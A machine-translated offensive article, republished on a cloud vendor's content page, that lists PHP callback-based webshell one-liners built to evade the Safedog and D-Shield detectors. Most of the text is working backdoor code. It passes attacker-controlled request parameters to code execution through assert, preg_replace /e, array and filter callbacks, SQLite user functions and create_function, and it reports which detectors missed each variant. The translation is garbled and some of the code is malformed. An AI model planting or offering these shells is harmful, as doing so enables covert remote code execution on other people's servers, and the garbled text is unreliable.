PHP Callback backdoor to bypass safe dog

Source: Internet
Author: User
Tags assert eval prepare sqlite stmt

A lot of people have recently shared a few words about a dog's shield, but there are ways to construct some dynamic functions, such as $_get[' func ' ($_request[' pass '). Same, but this method, although the dog shield may not be visible, but the human eye is actually very easy to find such a backdoor.

So, I'll share some words that don't require dynamic functions, no eval, no sensitive functions, no kill, no interception.

0x00 Preface

A lot of friends like to collect tips, including I also have a lot of tips, sometimes in the infiltration and exploitation of the process is very useful.

A word of tips I believe a lot of friends have collected a lot of dogs, such as a word. November 14 seems to have a word on the micro-blog, also remember the note:

Some students collect tips, there are students to create tips. So how do we create a word (back door) of dogs, D shields, no dynamic functions, no dangerous functions (no features)?

According to this PDO, I can get a very general conclusion:PHP contains function parameters of callback function, have the potential to do back door.

I gave this kind of Webshell a name: a callback back door.


0x01 the back door of our ancestors

Call_user_func in PHP is the standard way to perform callback functions, which is also an older backdoor:

Call_user_func (' Assert ', $_request[' Pass ']);

The Assert is invoked directly as a callback function, and then $_request[' pass ' as an assert argument.


This back door, dogs and shields can be found (but dogs do not intercept):

PHP function library is very rich, as long as simple to change the function of the safe dog will not kill:

Call_user_func_array (' Assert ', array ($_request[' pass '));

Call_user_func_array function, similar to Call_user_func, except that the second argument can pass in an array of argument lists. As shown in figure:


Visible, although the dog does not kill, D Shield is smart to identify it out.

It seems that this traditional callback back door, has been a number of security manufacturers have been eyeing, there is the risk of being killed.


0x02 array operation caused by single parameter callback back door

Further thinking, in peacetime PHP development, encountered with callback parameters of the function does not stop above said two. These functions with callback (callable type) parameters actually have the potential to do "callback back door".

I first thought of the most "simple and useful":

$e = $_request[' E '];
$arr = Array ($_post[' pass '],);
Array_filter ($arr, Base64_decode ($e));

The Array_filter function is to traverse all the elements in an array and use the specified function to process the filter, so call (after which the test environment is open dog, visible can be performed):


The back door, the dog can not find out, but the D shield still have induction, reported a level 3 (obviously lower than the previous level of 4):

Similar array_filter,array_map also have the same effect:

$e = $_request[' E '];
$arr = Array ($_post[' pass '],);
Array_map (Base64_decode ($e), $arr);

Still be D shield killing.

Sure enough, a simple array callback back door, or very easy to be found with the killing.


Assert in the 0x03 php5.4.8+

PHP 5.4.8+ version, assert function by a parameter, add an optional parameter descrition:

This adds (changes) to a good "execute code" method assert, which can have one parameter or two parameters. The callback function that previously had two parameters in the back door is now ready to use.

such as the following callback back door:

$e = $_request[' E '];
$arr = Array (' Test ', $_request[' Pass ']);
Uasort ($arr, Base64_decode ($e));

The back door will complain when php5.3, prompting the assert to have only one parameter:


After the PHP version is changed to 5.4, it can be executed:

This back door, the dog and the shield are not to be found out:

In the same way, this is also functionally similar:

$e = $_request[' E '];
$arr = Array (' Test ' => 1, $_request[' Pass '] => 2);
Uksort ($arr, $e);


And then give the two functions, the object-oriented approach:

Way 0
$arr = new Arrayobject (Array (' Test ', $_request[' Pass '));
$arr->uasort (' assert ');

Way 1
$arr = new Arrayobject (Array (' Test ' => 1, $_request[' Pass '] => 2));
$arr->uksort (' assert ');

Two more similar callback back doors:

$e = $_request[' E '];
$arr = Array (1);
Array_reduce ($arr, $e, $_post[' Pass '));
$e = $_request[' E '];
$arr = Array ($_post[' pass ']);
$arr 2 = array (1);
Array_udiff ($arr, $arr 2, $e);

The above are a few words can be directly connected to the kitchen, but the target PHP version in 5.4.8 and above only available.

I'm going to classify the above types as: two parameter callback functions (that is, the callback function is formatted with two parameters)


0X04 three-parameter callback function

Some functions require a more demanding callback function type, and the callback format requires three parameters. Like Array_walk.

The second parameter of Array_walk is the callable type, which normally is a format of two parameters, but in 0x03 it is said that the callback back door of two parameters needs to use the Assert after php5.4.8, which is not used in 5.3. But this callback can actually accept three parameters, that would be good to do:

In PHP, a function that can execute code:

    1. One argument: Assert

    2. Two parameters: Assert (php5.4.8+)

    3. Three parameters: preg_replace/e mode

Three parameters can be used preg_replace. So here I constructed a Array_walk + Preg_replace callback back door:

$e = $_request[' E '];
$arr = Array ($_post[' pass '] => ' |. *|e ',);
Array_walk ($arr, $e, ");

As shown in figure, this backdoor can be used under 5.3:

But the mighty D shield is still alert (though only level 2):

But oh, PHP has so many flexible functions, a little change of function (array_walk_recursive) d Shield can not find out:

$e = $_request[' E '];
$arr = Array ($_post[' pass '] => ' |. *|e ',);
Array_walk_recursive ($arr, $e, ");

No screenshots.

See the above several callback back door, found preg_replace really good. But apparently many WAF and Dayton Dogs have long been eyeing this function. In fact, more than this function in PHP can perform eval functions, there are several similar:

Mb_ereg_replace ('. * ', $_request[' Pass '], ', ' e ');

Another:

echo Preg_filter (' |. *|e ', $_request[' pass '];

These two words are not to kill:

Easy to use a word, and cherish it.


0x05 no echo callback back door

In the back door, there is a special example: Ob_start.

Ob_start can pass in a parameter, which is the function that is called when the buffered stream is output. However, due to some special reasons (may be related to the output stream), even if the results are not in the flow, the final output is not, so this sentence can not be connected with a kitchen knife:

Ob_start (' assert ');
echo $_request[' Pass '];
Ob_end_flush ();

However, if a URL request is executed, the result can be observed with the artifact Cloudeye:

Even if there is no output, the actual code is executed. Also counted as a callback back door.


0x06 single parameter back door Ultimate mystery

Preg_replace, three parameters of the back door, although easy to use, but/e mode php5.5 later abandoned, do not know which day will be deleted. So I think it is a single parameter back door, in each version is better to ride.

Here are a few handy callback back doors.

$e = $_request[' E '];
Register_shutdown_function ($e, $_request[' Pass ']);

This is a full version of PHP support, and do not report the stability of the implementation of the Kill:

One more:

$e = $_request[' E '];
Declare (Ticks=1);
Register_tick_function ($e, $_request[' Pass ']);

Two more:

Filter_var ($_request[' Pass '), Filter_callback, Array (' Options ' => ' assert '));
Filter_var_array (Array (' Test ' => $_request[' Pass ')), array (' Test ' => Array (' filter ' => filter_callback, ') Options ' => ' assert '));

These two are Filter_var, PHP uses this function to filter the array, as long as the specified filtering method is callback (Filter_callback), and option is assert.

These single parameter callback back door is very covert, basically not characteristic, use up 6.


0X07 database operations and callback back door in third party libraries

Back to the earliest microblogging on the SQLite callback back door, in fact SQLite can be constructed by the back door more than one above.

We can register a SQLite function to make it the same as the Assert function. When this SQL statement is executed, it is equal to the assert. So this back door I constructed like this:

$e = $_request[' E '];
$db = new PDO (' sqlite:sqlite.db3 ');
$db->sqlitecreatefunction (' MyFunc ', $e, 1);
$sth = $db->prepare ("Select MyFunc (: exec)");
$sth->execute (': exec ' => $_request[' pass '));

Implementation of:

The SQLite method above is based on PDO execution, and we can also directly invoke the Sqlite3 method to construct the callback back door:

$e = $_request[' E '];
$db = new SQLite3 (' sqlite.db3 ');
$db->createfunction (' MyFunc ', $e);
$stmt = $db->prepare ("Select MyFunc (?)");
$stmt->bindvalue (1, $_request[' Pass '], sqlite3_text);
$stmt->execute ();

The premise is php5.3 above. If it is php5.3 below, use the sqlite_* function to study for yourself I am not listed.

Both callback back doors are based on the PHP extension library (PDO and Sqlite3). In fact, if there is a specific extension library in the target environment, you can also construct a callback back door.

Like Php_yaml:

$str = UrlEncode ($_request[' Pass ']);
$yaml = <<<eod
Greeting:!{ $STR} "|. +|e "
EOD;
$parsed = Yaml_parse ($yaml, 0, $cnt, array ("!{ $_request[' Pass ']} ' => ' preg_replace ');

There are also php_memcached:

$mem = new Memcache ();
$re = $mem->addserver (' localhost ', 11211, True, 0,-1, True, create_function (' $a, $b, $c, $d, $e ', ' return assert ($a) ;'));
$mem->connect ($_request[' Pass '), 11211, 0);

Study it yourself.


0x08 other parameter type callback back door

It says that when the callback function is formatted with 1, 2, 3 parameters, you can use Assert, Assert, preg_replace to execute the code. But what if the callback function is in the same format as the number of other parameters, or if the parameter type is not a simple string?

For example, php5.5 later suggested using Preg_replace_callback instead of Preg_replace's/e mode to handle regular execution substitutions, so preg_replace_callback can also construct a callback back door.

The second parameter of Preg_replace_callback is the callback function, but the argument passed in is an array, and if this is directly specified as an assert, it will not execute because the argument accepted by assert is a string.

So we need to "construct" a callback function that satisfies the condition.

How do you structure it? Use create_function:

Preg_replace_callback ('/.+/i ', create_function (' $arr ', ' return assert ($arr [0]); "), $_request[' Pass ']);

"Create" a function that takes an array and $arr[0 the first element of the array into an assert.


It is also a back door that does not kill the steady execution, but because there is create_function this sensitive function, it always looks bad. But it's no way.

Similarly, this is the same:

Mb_ereg_replace_callback ('. + ', create_function (' $arr ', ' return assert ($arr [0]); '), $_request[' Pass ']);

A callback back door using the Callbackfilteriterator method:

$iterator = new Callbackfilteriterator (Array ($_request[' pass ',)), create_function (' $a ', ' assert ($ a);
foreach ($iterator as $item) {
echo $item;
}

This is also borrowed from Create_function to create a callback function. But some students asked, the callback function created here is only one parameter? In fact, if the assert is introduced here, it will be an error, the specific reasons for their own analysis.


0x09 PostScript

This article, like a nuclear weapon, has burst into the back door with too many features that are not characteristic. I know that the relevant manufacturers after reading the article, there will be some little gestures. But since I have dared to write it, I can assure you how difficult these methods are to defend.

In fact, the callback back door is a flexible and endless backdoor, as long as PHP is still evolving, there are many many back doors that have callback functions created. To guard against such a backdoor, it is not enough to point out the light.

Think about it, only we control the Assert, preg_replace such functions, it is possible to prevent this vulnerability

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.